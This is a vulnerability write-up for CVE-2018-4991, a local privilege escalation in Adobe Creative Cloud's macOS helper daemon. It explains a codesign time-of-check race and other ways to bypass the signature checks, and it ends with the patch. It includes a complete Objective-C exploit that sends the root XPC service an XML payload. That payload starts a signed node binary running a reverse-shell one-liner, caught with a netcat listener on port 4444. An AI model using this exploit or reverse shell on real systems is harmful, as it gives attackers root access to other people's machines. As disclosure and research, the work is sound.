CVE-2018–4991: Adobe Creative Cloud Desktop Local Privilege Escalation via Signature Bypass

The patch was issued in APSB18–12:

This write-up only covers macOS, but this issue may also affects Windows version.


Adobe Creative Cloud installs a daemon with root privilege:

/Library/PrivilegedHelperTools/com.adobe.acc.installer

It accepts XPC connections via NSXPCConnection remote object. There’s a method handleAction:withReply: in SMJobBlessHelper class that exposed to non-root processes. The messages are serialized in XML.

For example, the following message will launch a process as root:

<?xml version="1.0" encoding="UTF-8"?>
<action>
<actionType>createProcess</actionType>
<actionArgs><cmdArgs><cmdArg>--pipename=25D51488-9FD7-4A81-B815-5997A6EBAF25</cmdArg>
</cmdArgs>
<processPath>/Library/Application Support/Adobe/Adobe Desktop Common/ElevationManager/Adobe Installer</processPath>
</actionArgs></action>

But there are signature checks, both upon establishing the connection and before the process creation:

// SMJobBlessHelper - (char)listener:(id) shouldAcceptNewConnection:(id)
char __cdecl -[SMJobBlessHelper listener:shouldAcceptNewConnection:](struct SMJobBlessHelper *self, SEL a2, id a3, id a4)
{
v4 = &__stack_chk_guard;
v29 = __stack_chk_guard;
if ( a4 )
{
pid = objc_msgSend(a4, "processIdentifier");
v6 = new_log_target();
v7 = (void (__cdecl ***)(_DWORD, _DWORD, _DWORD))sub_3010((int)v6);
(**v7)(
v7,
"Inside shouldAcceptNewConnection | Received new connection in SMJobBlessHelper from client with PID:%d",
pid);
__bzero(filename, 4096);
__bzero(proc_name, 4096);
if ( proc_pidpath((int)pid, filename, 0x1000u) )
{
if ( (unsigned __int8)is_valid_adobe_binary((int)filename) )
{
len = ::proc_name((int)pid, proc_name, 0x100u);
int __stdcall sub_31C0(std::string *a1, int a2)
{
v39 = __stack_chk_guard;
std::string::string(&v35, "<output><result>Fail</result></output>");
v34 = 0;
v33 = 0;
if ( (unsigned __int8)is_valid_adobe_binary(*(_DWORD *)(a2 + 20)) )
{
v2 = new_log_target();
v3 = sub_3010((int)v2);
(*(void (__cdecl **)(int, const char *, _DWORD, _DWORD))(*(_DWORD *)v3 + 8))(
v3,
"Inside ProcessLauncher::executeAction | LaunchingProcess at path %s with waitForFinish %d",
*(_DWORD *)(a2 + 16),
*(_BYTE *)(a2 + 24));
v4 = *(_BYTE *)(a2 + 24);
v32 = 0;
v5 = OOBEUtils::ProcessUtils::LaunchProcess((_DWORD *)(a2 + 16), a2 + 4, (int)&v34, v4, &v33, 0, (int)&v32, 0);
v6 = new_log_target();

Inside OOBEUtils::CryptUtils::GetCANameChain, it simply runs /usr/bin/codesign command to validate the caller and new process.

It’s easily to see that there’s a TOCTOU.

v4 = objc_msgSend("NSAutoreleasePool", "alloc");
v29 = objc_msgSend(v4, "init");
v5 = objc_msgSend("NSString", "stringWithUTF8String:", *(_DWORD *)this);
v6 = objc_msgSend("NSFileManager", "defaultManager");
if ( (unsigned __int8)objc_msgSend(v6, "fileExistsAtPath:", v5) )
{
v7 = objc_msgSend("NSFileManager", "defaultManager");
if ( (unsigned __int8)objc_msgSend(v7, "fileExistsAtPath:isDirectory:", CFSTR("/usr/bin/codesign"), &v33) )
{
if ( !v33 )
{
v8 = objc_msgSend("NSArray", "arrayWithObjects:", CFSTR("-dvv"), v5, 0);
v9 = objc_msgSend("NSTask", "alloc");
v10 = objc_msgSend(v9, "init");
v28 = objc_msgSend(v10, "autorelease");
v11 = objc_msgSend("NSPipe", "pipe");
v12 = objc_msgSend(v11, "fileHandleForReading");
objc_msgSend(v28, "setLaunchPath:", CFSTR("/usr/bin/codesign"));
objc_msgSend(v28, "setArguments:", v8);
objc_msgSend(v28, "setStandardOutput:", v11);
objc_msgSend(v28, "setStandardError:", v11);
objc_msgSend(v28, "launch");
usleep_UNIX2003(10000);
v13 = objc_msgSend(v12, "readDataToEndOfFile");
v14 = objc_msgSend("NSString", "alloc");
v15 = objc_msgSend(v14, "initWithData:encoding:", v13, 4);
v16 = objc_msgSend(v15, "autorelease");
v17 = objc_msgSend("NSCharacterSet", "newlineCharacterSet");
v31 = objc_msgSend(v16, "componentsSeparatedByCharactersInSet:", v17);
v36 = 0LL;
v35 = 0LL;
v32 = objc_msgSend(v31, "countByEnumeratingWithState:objects:count:", &v35, &v34, 16);
if ( v32 )
  • The call usleep(100000) seems a long enough time window to modify the file.
  • And on macOS, it’s not a even a problem to modify a executable while it’s still running. So simply copy a Adobe signed binary to replace myself after process creation will bypass the check.
  • It’s not just the executable file, but also pid can leads to a TOCTOU issue. See Ian Beer’s MacOS/iOS userspace entitlement checking is racy and Samuel Groß’s Don’t Trust the PID!. Use execve or posix_spawn with POSIX_SPAWN_SETEXEC attr for a deadly reliable exploit.

And we don’t even bother racing with it…

  • It uses custom string match to parse output by codesign utility, and the parser looks buggy (didn’t try that)
  • I’ve seenDYLD_INSERT_LIBRARIES works for so many IPC caller validation bypass. Just attack your payload to trusted executable.
  • Futher more, there’s a nodejs interpreter with valid code signature. So just write payload with javascript… 😆

There are many signed node.js copies cross many distributions and share the same developer team id:

This one from Adobe Creative Cloud:

➜ ~ codesign -dvvv “/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node”
Executable=/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node
Identifier=node
Format=Mach-O thin (x86_64)
CodeDirectory v=20200 size=238276 flags=0x0(none) hashes=7442+2 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha1=a0e41e295e0111c35cdf7dfcf0c73701b4b51896
CandidateCDHash sha256=7649dad279f0456838ba79bfebb01d909d5bf6e8
Hash choices=sha1,sha256
CDHash=7649dad279f0456838ba79bfebb01d909d5bf6e8
Signature size=8964
Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

This one from Adobe Brackets Editor:

➜ ~ codesign -dvvv “/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node”
Executable=/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node
Identifier=Brackets-node
Format=Mach-O thin (x86_64)
CodeDirectory v=20200 size=240909 flags=0x0(none) hashes=7524+2 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha1=b4d944c41b1f3cf9bcd4ca085981ed71a5b7e7b6
CandidateCDHash sha256=51e1a917aad91d6045a4ba3357e7b527604c4aa5
Hash choices=sha1,sha256
CDHash=51e1a917aad91d6045a4ba3357e7b527604c4aa5
Signature size=8963
Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

Do not trust script interpreter as a privilege boundary, because they are born to execute code. The node.js interperter is also available on Windows. I did’t test but I believe that it’s easy to adopt the exploit to that.


Here’s a woking exploit. nc -lvvv 4444 to get an interactive root shell.

//
// main.m
// XPCFun
//
// Created by CodeColorist on 06/12/2017.
// Copyright © 2017 CodeColorist. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
#include <libproc.h>
#define DUMMY @"/Library/PrivilegedHelperTools/com.adobe.acc.installer"
@protocol SMJobBlessHelperProtocol
- (void)handleAction:(id)arg1 withReply:(void (^)(NSString *))reply;
- (void)getHelperToolVersion:(void (^)(NSString *))reply;
@end
#import <Cocoa/Cocoa.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
// TOCTOU signature bypass
NSString *executable = [[NSBundle mainBundle] executablePath];
NSFileManager *mgr = [NSFileManager defaultManager];
NSError *err = nil;
[mgr removeItemAtPath:executable error:&err];
if (err) {
NSLog(@"failed to remove file: %@", err);
return -1;
}
[mgr copyItemAtPath:DUMMY toPath:executable error:&err];
if (err) {
NSLog(@"failed to override self: %@", err);
return -1;
}
// another easy way is to run a signed node.js, and use process.dlopen to inject evil dylib
NSLog(@"ready");
dispatch_semaphore_t wait_for = dispatch_semaphore_create(0);
// the local privilege escalation
NSString *kXPCServiceName = @"com.adobe.acc.installer";
NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:kXPCServiceName options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)];
conn.invalidationHandler = ^{
NSLog(@"unknown error");
dispatch_semaphore_signal(wait_for);
exit(-1);
};
[conn resume];
    // yet another signature bypass: use node.js
NSString *xml = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?><action>"
"<actionType>createProcess</actionType>"
"<actionArgs><cmdArgs><cmdArg>-e</cmdArg>"
"<cmdArg>c=new require('net').Socket();c.connect(4444,'127.0.0.1',()=>{s = require('child_process').spawn('/bin/sh',[]);c.write('!');c.pipe(s.stdin);s.stdout.pipe(c)})</cmdArg>"
"</cmdArgs>"
"<processPath>/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node</processPath>"
"</actionArgs>"
"</action>";
id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {
NSLog(@"error: %@", proxyError);
}];
[remote handleAction:xml withReply:^(NSString *reply) {
NSLog(@"reply: %@", reply);
dispatch_semaphore_signal(wait_for);
}];
dispatch_semaphore_wait(wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC));
[mgr removeItemAtPath:executable error:&err];
}
  return 0;
}

Note that not only this XPC service is vulnerable. There are other libraries, like ElevationManager, share the same (vulnerable) code base, and can be trigger through other IPC mechanisms like FIFO files.


The patch

Adobe removed the buggy codesign checker and made codesign requirement string more strict.